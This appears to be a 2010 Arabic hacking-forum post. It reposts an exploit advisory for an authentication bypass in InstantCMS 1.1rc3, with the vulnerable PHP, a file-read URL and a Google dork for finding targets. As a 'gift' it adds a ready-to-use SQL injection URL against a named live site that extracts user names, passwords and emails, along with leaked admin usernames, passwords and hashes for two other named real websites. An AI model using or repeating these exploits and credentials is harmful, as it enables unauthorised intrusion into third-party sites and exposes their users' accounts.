عرض مشاركة واحدة
قديم 03-24-2010, 02:32 AM   رقم المشاركة : 1 (permalink)
معلومات العضو
Zero
 
الصورة الرمزية Zero
 

 

 
إحصائية العضو








Zero غير متواجد حالياً

إرسال رسالة عبر MSN إلى Zero

 

 

إحصائية الترشيح

عدد النقاط : 10
Zero is on a distinguished road

.......... ثغرة بتاريخ 24/03/2010 و مواقع و باسات هدية


بسم الله الرحمن الرحيم

الحمدلله والصلاة والسلام على رسول الله وعلى آله وصحبه أجمعين

السلام عليكم ورحمة الله وبركاته

اليوم وكل يوم مع الجديد تغرة بتاريخ 24/03/2010

بدون الاطالة اليكم بملف التغرة وقريبا اوافيكم بالشرح

كود PHP:
=======================================================
Instant CMS <= 1.1rc3 Admin (Auth BypassVulnerability
=======================================================


1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0                          
0     _                   __           __       __                     1
1   
/' \            __  /'__`\        /\ \__  /'__`\                   0
0  
/\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
1  
\/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
1                                                                      0
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-1

#[+] Discovered By   : Inj3ct0r
#[+] Site            : Inj3ct0r.com
#[+] Support e-mail  : submit[at]inj3ct0r.com
#[+] Visit : inj3ct0r.com , inj3ct0r.org , inj3ct0r.net


Site product: http://instantcms.ru/
Version: 1.1rc3


admin/index.php

Vulnerable code:

 //-------CHECK AUTHENTICATION-------------------------------------- 
    if (!isset(
$_SESSION['user'])) {  
        header('location:login.php');  
    } else {     
        if (!cmsUserIsAdmin(
$_SESSION['user']['id'])){             
            if (cmsUserIsEditor(
$_SESSION['user']['id'])){ 
                header('location:editor/index.php'); 
            } else { header('location:login.php'); } 
        } 
    } 
    //------------------------------------------------------------------ 


    
Admin panel have no password. And then you can watch and modify any files:

http://instantcms.ru/admin/index.php?view=editor&lang=php&file=/includes/config.inc.php

-----------------------------------

Google gives about 100 results found for :

intext: InstantCMS inurl: view-content/do-read


---------------------------------


# Inj3ct0r.com [2010-03-24] 

و هدية بسيطة مني

مواقع مصابة بتغرة سكل

ورابط استغلالها
--

كود PHP:
http://nal-extrim.ru/index.php?module=News&do=Category&id=-1+union+select+1,2,3,concat_ws%280x3a,user_name,user_password,user_email%29,5,6,7,8,9,10,11,12,13,14,15,16,17,18+from+kasseler_users-- 
كود PHP:
     http://www.arzuntarin.com

User3938907c39b5a1608651fc7980cd1031
Pass
1b5a6e98a37cfe03ed44f10ee34f08a2 

كود PHP:
    http://www.itmaasia.com

Ueradminq
Pass
7764b0f125801509661444a2fcdbe88c
Id
1

User
user2
Pass
1234
Id
2

User
zxg
Pass
111111 



eyvm fjhvdo 24L03L2010 , l,hru fhshj i]dm

   

رد مع اقتباس